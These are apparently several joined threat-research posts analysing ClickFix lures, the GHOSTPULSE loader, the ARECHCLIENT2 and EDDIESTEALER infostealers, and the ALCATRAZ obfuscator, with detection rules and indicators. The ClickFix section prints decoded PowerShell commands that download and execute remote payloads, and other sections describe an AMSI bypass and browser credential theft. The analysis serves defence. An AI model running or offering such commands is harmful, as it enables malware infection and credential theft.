Our threat intelligence indicates a substantial surge in activity leveraging ClickFix (technique first observed) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the GHOSTPULSE loader. This led to campaigns targeting a broad audience using malware and infostealers, such as LUMMA and ARECHCLIENT2, a family first observed in 2019 but now experiencing a significant surge in popularity.

This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.

Key takeaways

• ClickFix: Remains a highly effective and prevalent initial access method.
• GHOSTPULSE: Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.
• ARECHCLIENT2 (SECTOPRAT): Has seen a considerable increase in malicious activity throughout 2025.

The Initial Hook: Deconstructing ClickFix's Social Engineering

Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.

At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless "fix" (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.

ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting "verification fatigue" – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent "fix it" button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes ClickFix an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.

Our recent Elastic Security research on EDDIESTEALER provides another concrete example of ClickFix's efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.

Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.

A ClickFix Campaign's Journey to ARECHCLIENT2

The ClickFix technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a ClickFix lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the GHOSTPULSE Loader (also known as HIJACKLOADER, IDATLOADER). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an ARECHCLIENT2 (SECTOPRAT) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.

We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.

Technical analysis of the infection

The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.

We observed two infrastructures (both resolving to 50.57.243[.]90) https://clients[.]dealeronlinemarketing[[.]]com/captcha/ and https://clients[.]contology[.]com/captcha/ that deliver the same initial payload.

User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (2023 and 2024) provided a detailed look into its initial capabilities.

The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.

Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox Verify you are human.

A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, runClickedCheckboxEffects, retrieves the public IP address of the machine by querying https://api.ipify[.]org?format=json, then it sends the IP address to the attacker’s infrastructure, https://koonenmagaziner[.]click/counter/<IP_address>, to log the infection.

The second function copies a base64-encoded PowerShell command to the clipboard.

Which is the following when it is base64 decoded

(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex

When executed, it fetches the following PowerShell script:

Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile 
    "$env:TEMP\ComponentStyle.zip"; Expand-Archive -Path 
    "$env:TEMP/ComponentStyle.zip" -DestinationPath 
    "$env:TEMP"; & "$env:TEMP\crystall\Crysta_x86.exe"

The observed infection process for this campaign involves GHOSTPULSE's deployment as follows: After the user executes the PowerShell command copied by ClickFix, the initial script fetches and runs additional commands. These PowerShell commands download a ZIP file (ComponentStyle.zip) from a remote location and then extract it into a temporary directory on the victim's system.

Extracted contents include components for GHOSTPULSE, specifically a benign executable (Crysta_X64.exe) and a malicious dynamic-link library (DllXDownloadManager.dll). This setup utilizes DLL sideloading, a technique in which the legitimate executable loads the malicious DLL. The file (Heeschamjet.rc) is the IDAT file that contains the next stage's payloads in an encrypted format

and the file Shonomteak.bxi, which is encrypted and used by the loader to fetch the stage 2 and configuration structure.

GHOSTPULSE

Stage 1

GHOSTPULSE is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in Elastic’s 2024 research blog post, and new modules from Zscaler research.

The malware used in this campaign was shipped with an additional encrypted file named Shonomteak.bxi. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.

The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the LibraryLoadA function. The library name is stored in the same decrypted file; in our case, it is vssapi.dll.

The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted Shonomteak.bxi, and a boolean field b_detect_process set to True in our case.

Stage 2

When the boolean field b_detect_process is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.

In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in Shonomteak.bxi, including:

• Hashes for the DLL names and Windows APIs
• IDAT tag: used to find the start of the encrypted data in the PNG file
• IDAT string: Which is simply “IDAT”
• Hashes of processes to scan for

Final thoughts on GHOSTPULSE

GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.

Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our labs-releases repository.

ARECHCLIENT2

In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially identified in November 2019 and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.

The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.

The loader goes through 3 steps:

• Patching AMSI
• Extracting and decrypting the payload
• Loading the CLR, then reflectively loading ARECHCLIENT2

Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the MessageBoxA API, for example, when failing to find the .tls section, an error message box with the string "D1" is displayed.

The following is a table of all the error messages and their description:

The malware sets up a hook on the LoadLibraryExW API. This hook waits for amsi.dll to be loaded, then sets another hook on AmsiScanBuffer 0, effectively bypassing AMSI.

After this, the loader fetches the pointer in memory to the .tls section by parsing the PE headers. The first 0x40 bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.

Finally, it loads the .NET Common Language Runtime (CLR) in memory with CLRCreateInstance Windows API before reflectively loading ARECHCLIENT2. The following is an example of how it is performed.

ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:

• Credential and Financial Theft: ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.

• System Profiling and Reconnaissance: ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).

• Command Execution: ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.

The ARECHCLIENT2 malware connects to its C2 144.172.97[.]2, which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (143.110.230[.]167) IP from a hardcoded pastebin link https://pastebin[.]com/raw/Wg8DHh2x.

Infrastructure analysis

The malicious captcha page was hosted under two domains clients.dealeronlinemarketing[.]com and clients.contology[.]com under the URI /captcha and /Client pointing to the following IP address 50.57.243[.]90.

We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.

We assess that the attacker has likely compromised the server 50.57.243[.]90 and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.

Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (143.110.230[.]167 and 144.172.97[.]2) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.

Pivoting on a shared banner hash (@ValidinLLC’s HOST-BANNER_0_HASH, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT" (aka ARECHCLIENT2) as documented in the Maltrail repo.

Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.

All these servers have similar configurations:

• Running Canonical Linux
• SSH on 22
• Unknown TCP on 443
• Nginx HTTP on 8080, and
• HTTP on 9000 (C2 port)

The service on port 9000 has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.

ARECHCLIENT2 IOC:

• HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20

This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:

Conclusion

This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the GHOSTPULSE loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident ARECHCLIENT2 payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Command and Control
• Collection

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
  • Spearphishing Link User Execution
  • Malicious Link
  • Malicious File
• Command and Scripting Interpreter
  • PowerShell
  • Deobfuscation/Decoding
• DLL Sideloading
• Reflective Loading
• User Interaction
• Ingress Tool Transfer
• System Information Discovery
• Process Discovery
• Steal Web Session Cookie

Detecting [malware]

Detection

Elastic Defend detects this threat with the following behavior protection rules:

• Suspicious Command Shell Execution via Windows Run
• DNS Query to Suspicious Top Level Domain
• Library Load of a File Written by a Signed Binary Proxy
• Connection to WebService by a Signed Binary Proxy
• Potential Browser Information Discovery

YARA

• Windows_Trojan_GhostPulse
• Windows_Trojan_Arechclient2

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://x.com/SI_FalconTeam/status/1915790796948643929
• https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics

Elastic Security Labs has uncovered a novel Rust-based infostealer distributed via Fake CAPTCHA campaigns. This malware is hosted on multiple adversary-controlled web properties. This campaign leverages deceptive CAPTCHA verification pages that trick users into executing a malicious PowerShell script, which ultimately deploys the infostealer, harvesting sensitive data such as credentials, browser information, and cryptocurrency wallet details. We are calling this malware EDDIESTEALER.

This adoption of Rust in malware development reflects a growing trend among threat actors seeking to leverage modern language features for enhanced stealth, stability, and resilience against traditional analysis workflows and threat detection engines. A seemingly simple infostealer written in Rust often requires more dedicated analysis efforts compared to its C/C++ counterpart, owing to factors such as zero-cost abstractions, Rust’s type system, compiler optimizations, and inherent difficulties in analyzing memory-safe binaries.

Key takeaways

• Fake CAPTCHA campaign loads EDDIESTEALER
• EDDIESTEALER is a newly discovered Rust infostealer targeting Windows hosts
• EDDIESTEALER receives a task list from the C2 server identifying data to target

Intial access

Overview

Fake CAPTCHAs are malicious constructs that replicate the appearance and functionality of legitimate CAPTCHA systems, which are used to distinguish between human users and automated bots. Unlike their legitimate counterparts, fake CAPTCHAs serve as gateways for malware, leveraging social engineering to deceive users. They often appear as prompts like "Verify you are a human" or "I'm not a robot," blending seamlessly into compromised websites or phishing campaigns. We have also encountered a similar campaign distributing GHOSTPULSE in late 2024.

From our telemetry analysis leading up to the delivery of EDDIESTEALER, the initial vector was a compromised website deploying an obfuscated React-based JavaScript payload that displays a fake “I'm not a robot” verification screen.

Mimicking Google's reCAPTCHA verification interface, the malware uses the document.execCommand("copy") method to copy a PowerShell command into the user’s clipboard, next, it instructs the user to press Windows + R (to open the Windows run dialog box), then Ctrl + V to paste the clipboard contents, and finally Enter to execute the malicious PowerShell command.

This command silently downloads a second-stage payload (gverify.js) from the attacker-controlled domain hxxps://llll.fit/version/ and saves it to the user’s Downloads folder.

Finally, the malware executes gverify.js using cscript in a hidden window.

gverify.js is another obfuscated JavaScript payload that can be deobfuscated using open-source tools. Its functionality is fairly simple: fetching an executable (EDDIESTEALER) from hxxps://llll.fit/io and saving the file under the user’s Downloads folder with a pseudorandom 12-character file name.

EDDIESTEALER

Overview

EDDIESTEALER is a novel Rust-based commodity infostealer. The majority of strings that give away its malicious intent are encrypted. The malware lacks robust anti-sandbox/VM protections against behavioral fingerprinting. However, newer variants suggest that the anti-sandbox/VM checks might be occurring on the server side. With relatively straightforward capabilities, it receives a task list from the C2 server as part of its configuration to target specific data and can self-delete after execution if specified.

Stripped Symbols

EDDIESTEALER samples featured stripped function symbols, likely using Rust’s default compilation option, requiring symbol restoration before static analysis. We used <code>rustbinsign</code>, which generates signatures for Rust standard libraries and crates based on specific Rust/compiler/dependency versions. While rustbinsign only detected <code>hashbrown</code> and <code>rustc-demangle</code>, suggesting few external crates being used, it failed to identify crates such as <code>tinyjson</code> and <code>tungstenite</code> in newer variants. This occurred due to the lack of clear string artifacts. It is still possible to manually identify crates by finding unique strings and searching for the repository on GitHub, then download, compile and build signatures for them using the download_sign mode. It is slightly cumbersome if we don’t know the exact version of the crate being used. However, restoring the standard library and runtime symbols is sufficient to advance the static analysis process.

String Obfuscation

EDDIESTEALER encrypts most strings via a simple XOR cipher. Decryption involves two stages: first, the XOR key is derived by calling one of several key derivation functions; then, the decryption is performed inline within the function that uses the string.

The following example illustrates this, where sub_140020fd0 is the key derivation function, and data_14005ada8 is the address of the encrypted blob.

Each decryption routine utilizes its own distinct key derivation function. These functions consistently accept two arguments: an address within the binary and a 4-byte constant value. Some basic operations are then performed on these arguments to calculate the address where the XOR key resides.

Binary Ninja has a handy feature called <code>User-Informed Data Flow</code> (UIDF), which we can use to set the variables to known values to trigger a constant propagation analysis and simplify the expressions. Otherwise, a CPU emulator like Unicorn paired with a scriptable binary analysis tool can also be useful for batch analysis.

There is a general pattern for thread-safe, lazy initialization of shared resources, such as encrypted strings for module names, C2 domain and port, the sample’s unique identifier - that are decrypted only once but referenced many times during runtime. Each specific getter function checks a status flag for its resource; if uninitialized, it calls a shared, low-level synchronization function. This synchronization routine uses atomic operations and OS wait primitives (WaitOnAddress/WakeByAddressAll) to ensure only one thread executes the actual initialization logic, which is invoked indirectly via a function pointer in the vtable of a dyn Trait object.

API Obfuscation

EDDIESTEALER utilizes a custom WinAPI lookup mechanism for most API calls. It begins by decrypting the names of the target module and function. Before attempting resolution, it checks a locally maintained hashtable to see if the function name and address have already been resolved. If not found, it dynamically loads the required module using a custom LoadLibrary wrapper, into the process’s address space, and invokes a well-known implementation of GetProcAddress to retrieve the address of the exported function. The API name and address are then inserted into the hashtable, optimizing future lookups.

Mutex Creation

EDDIESTEALER begins by creating a mutex to ensure that only one instance of the malware runs at any given time. The mutex name is a decrypted UUID string 431e2e0e-c87b-45ac-9fdb-26b7e24f0d39 (unique per sample), which is later referenced once more during its initial contact with the C2 server.

Sandbox Detection

EDDIESTEALER performs a quick check to assess whether the total amount of physical memory is above ~4.0 GB as a weak sandbox detection mechanism. If the check fails, it deletes itself from disk.

Self-Deletion

Based on a similar self-deletion technique observed in LATRODECTUS, EDDIESTEALER is capable of deleting itself through NTFS Alternate Data Streams renaming, to bypass file locks.

The malware uses GetModuleFileName to obtain the full path of its executable and CreateFileW (wrapped in jy::ds::OpenHandle) to open a handle to its executable file with the appropriate access rights. Then, a FILE_RENAME_INFO structure with a new stream name is passed into SetFileInformationByHandle to rename the default stream $DATA to :metadata. The file handle is closed and reopened, this time using SetFileInformationByHandle on the handle with the FILE_DISPOSITION_INFO.DeleteFile flag set to TRUE to enable a "delete on close handle" flag.

Additional Configuration Request

The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: <C2_ip_or_domain>/<resource_path>/<UUID>. The resource_path is specified as api/handler. The UUID, utilized earlier to create a mutex, is used as a unique identifier for build tracking.

EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute.

The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (:).

Base64(IV):Base64(AESEncrypt(data))

The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the .rdata section. It is retrieved through a getter function.

The decrypted configuration for this sample contains the following in JSON format:

• Session ID
• List of tasks (data to target)
• AES key for client-to-server message encryption
• Self-delete flag

{
    "session": "<unique_session_id>",
    "tasks": [
        {
            "id": "<unique_task_id>",
            "prepare": [],
            "pattern": {
                "path": "<file_system_path>",
                "recursive": <true/false>,
                "filters": [
                    {
                        "path_filter": <null/string>,
                        "name": "<file_or_directory_name_pattern>",
                        "entry_type": "<FILE/DIR>"
                    },
                    ...
                ]
            },
            "additional": [
                {
                    "command": "<optional_command>",
                    "payload": {
                        "<command_specific_config>": <value>
                    }
                },
                ...
            ]
        },
        ...
    ],
    "network": {
        "encryption_key": "<AES_encryption_key>"
    },
    "self_delete": <true/false>
}

For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:

• Crypto wallets
• Browsers
• Password managers
• FTP clients
• Messaging applications

A list of targeted browser extensions can be found here.

These targets are subject to change as they are configurable by the C2 operator.

EDDIESTEALER then reads the targeted files using standard kernel32.dll functions like CreateFileW, GetFileSizeEx, ReadFile, and CloseHandle.

Subsequent C2 Traffic

After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:

• Location of the executable (GetModuleFileNameW)
• Locale ID (GetUserDefaultLangID)
• Username (GetUserNameW)
• Total amount of physical memory (GlobalMemoryStatusEx)
• OS version (RtlGetVersion)

Following the same data format (Base64(IV):Base64(AESEncrypt(data))) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to <C2_ip_or_domain>/<resource_path>/info/<session_id>. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to <C2_ip_or_domain>/<resource_path><session_id>/<task_id>, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.

Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as:

• apps\bin\src\services\chromium_hound.rs
• apps\bin\src\services\system.rs
• apps\bin\src\structs\search_pattern.rs
• apps\bin\src\structs\search_entry.rs

We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.

Chromium-specific Capabilities

Since the introduction of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. ChromeKatz is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust.

Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from %localappdata%\<browser_specific_path>\\User Data\\Last Version.

COOKIEKATZ signature pattern for detecting COOKIEMONSTER instances:

CredentialKatz signature pattern for detecting CookieMonster instances:

Here is an example of the exact copy-pasted logic of COOKIEKATZ’s FindPattern, where PatchBaseAddress is inlined.

The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments --window-position=-3000,-3000 https://google.com. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (ReadProcessMemory) of the necessary child process - the network service process identified by the --utility-sub-type=network.mojom.NetworkService flag. For a more detailed explanation of this browser process interaction, refer to our previous research on MaaS infostealers.

Differences with variants

After analysis, more recent samples were identified with additional capabilities.

Information gathered on victim machines now include:

• Running processes
• GPU information
• Number of CPU cores
• CPU name
• CPU vendor

The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.

The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.

Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.

In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the --remote-debugging-port=<port_num> flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction.

After launching Chrome, the malware queries http://localhost:<port>/json/version to retrieve the webSocketDebuggerUrl, which provides the endpoint for interacting with the browser instance over WebSocket.

Using this connection, it issues a Target.createTarget command with the parameter chrome://password-manager/passwords, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.

Based on decrypted strings os_crypt, encrypted_key, CryptUnprotectData, local_state_pattern, and login_data_pattern, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.

We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.

A Few Analysis Tips

Tracing

To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like <code>TinyTracer</code> can capture an API trace and generate a .tag file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls WinAPI functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like <code>IFL</code>.

Panic Metadata for Code Segmentation

Panic metadata - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like apps\bin\src\services\chromium.rs, apps\bin\src\structs\additional_task.rs or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with library<core/alloc/std>\src\ indicates code from the Rust standard library. Paths containing crate name and version such as hashbrown-0.15.2\src\raw\mod.rs point to external libraries.

If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string apps\bin\src\utils\json.rs:48:39 is referenced in sub_140011b4c.

By examining the call tree for incoming calls to the function, many of them trace back to sub_14002699d. This function (sub_14002699d) is called within a known C2 communication routine (jy::C2::RetrieveAndDecryptConfig), right after decrypting additional configuration data known to be JSON formatted.

Based on the json.rs path and its calling context, an educated guess would be that sub_14002699d is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.

For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.

Stack Slot Reuse

One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points.

To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.

Rust Error Handling and Enums

Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag).

Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the Result<T, E> generic enum. It has two variants: Ok(T), indicating success and containing a value of type T, and Err(E), indicating failure and containing an error value of type E.

In the example snippet below, a discriminant value of 0x8000000000000000 is used to differentiate outcomes of resolving the CreateFileW API. If CreateFileW is successfully resolved, the reuse variable type contains the API function pointer, and the else branch executes. Otherwise, the if branch executes, assigning an error information string from reuse to arg1.

For more information on how other common Rust types might look in memory, check out this cheatsheet and this amazing talk by Cindy Xiao!

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Initial Access
• Execution
• Defense Evasion
• Exfiltration
• Credential Access
• Discovery
• Collection

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Phishing
• Content Injection
• Command and Scripting Interpreter
• Credentials from Password Stores
• User Execution
• Obfuscated Files or Information
• Exfiltration Over C2 Channel
• Virtualization/Sandbox Evasion

Detections

YARA

Elastic Security has created the following YARA rules related to this research:

• Windows.Infostealer.EddieStealer

Behavioral prevention rules

• Suspicious PowerShell Execution
• Ingress Tool Transfer via PowerShell
• Potential Browser Information Discovery
• Potential Self Deletion of a Running Executable

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/N0fix/rustbinsign
• https://github.com/Meckazin/ChromeKatz
• https://github.com/hasherezade/tiny_tracer
• https://docs.binary.ninja/dev/uidf.html
• https://www.unicorn-engine.org/
• https://github.com/LloydLabs/delete-self-poc/tree/main
• https://cheats.rs/#memory-layout
• https://www.youtube.com/watch?v=SGLX7g2a-gw&t=749s
• https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/

Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer. One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, ALCATRAZ first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted intrusions.

The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include control flow flattening, instruction mutation, constant unfolding, LEA constant hiding, anti-disassembly tricks and entrypoint obfuscation.

Key takeaways

• The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections
• Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts
• By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.
• Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post

DOUBLELOADER

Starting last December, our team observed a generic backdoor malware coupled with RHADAMANTHYS stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.

This malware leverages syscalls such as NtOpenProcess, NtWriteVirtualMemory, NtCreateThreadEx launching unbacked code within the Windows desktop/file manager (explorer.exe). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (185.147.125.81) stored within the binary.

DOUBLELOADER samples include a non-standard section (.0Dev) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, ALCATRAZ.

Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.

The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.

ALCATRAZ

ALCATRAZ Overview

Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and APT groups.

Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard bin2bin format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.

The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (obf) appended to the end of the filename.

Obfuscation techniques in ALCATRAZ

The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.

Entrypoint obfuscation

Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.

The following is the view of a clean entrypoint (0x140001368) from a non-obfuscated program within IDA Pro.

By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.

